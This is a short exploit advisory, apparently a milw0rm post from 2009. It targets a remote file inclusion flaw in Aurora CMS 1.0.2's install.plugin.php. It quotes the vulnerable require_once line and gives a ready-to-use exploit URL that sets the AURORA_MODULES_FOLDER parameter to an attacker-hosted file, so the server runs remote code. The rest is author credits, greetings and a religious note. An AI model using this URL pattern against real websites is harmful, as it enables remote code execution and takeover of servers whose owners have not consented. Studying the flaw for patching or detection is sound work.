Aurora CMS 1.0.2 - 'install.plugin.php' Remote File Inclusion

---------------------------------------------------------------------------------------------------------------
Aurora Content Management System (Enterprise Edition) [install.plugin.php] <= Remote File Include Vulnerability 
---------------------------------------------------------------------------------------------------------------


**********************************************************************************************************************************
* [+] Author 		: EA Ngel                           									 *
* [+] Situs		: www[dot]manadocoding[dot]net										 *
* [+] Location		: Indonesia								                         	 *
* [+] Contact		: engelpemula[at]gmail[dot]com										 *
* [+] Download script	: http://biznetnetworks.dl.sourceforge.net/project/cronos/aurora/aurora_1.0.2/AURORA_1.0.2_stable.tar.gz *
*																 *															         *
**********************************************************************************************************************************


a. Dork 		: kreasikan otak-mu  :) 

b. Bug			: - install.plugin.php
                          - global $AURORA_MODULES_FOLDER;
                            require_once $AURORA_MODULES_FOLDER.'/install/classes/install.class.php';


[@] Exploit		: http://localhost/[path]/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=[moonlee.txt?]


[#] Special Thanks	: str0ke

    - manadocoding      : basix, cr4wl3r, Mr.C, cokiki, bl4ck_3n91n3, tonaas, night_prophet, blue_eye, angky_tatoki
                          g4pt3k, michel_taung, doniskynet, rezagmas, Mr.Crossbeam, bolodewo and friend's


    - Sekuritionline    : cyberlog, k1n9k0ng, fl3xu5, exnome, dbanie, d4rkz, setiawan, kujang_lapuk, jantap, k3nz0
                          and friend's   
                      
     
    - lain-lain         : akiko, steve_san, steve_diving, b0b0h0, yadiyauri, ipay, nTc, chawanua, S4NT4, my_wishdom
                          alan_sarante, jajack, chrezz,  wendyz, wishnu, kiddies, anjaz chux, is-mail, is-blank, P2, 
                          C6, missi, mizz, hygao, b1beh^p1nk, tasya, san-san and friend's


[/] Note		: NOW FAITH is the assurance (the confirmation, the title deed) of the things [we] hope for, 
                          being the proof of things [we] do not see and the conviction of their reality [faith perceiving 
                          as real fact what is not revealed to the senses].


===================================================================================================================================
= 13 September 2009 > Monalisa happy b'day!! may add up in everything, always close to God and wish u all the best. Jesus bless u =
===================================================================================================================================

# milw0rm.com [2009-09-14]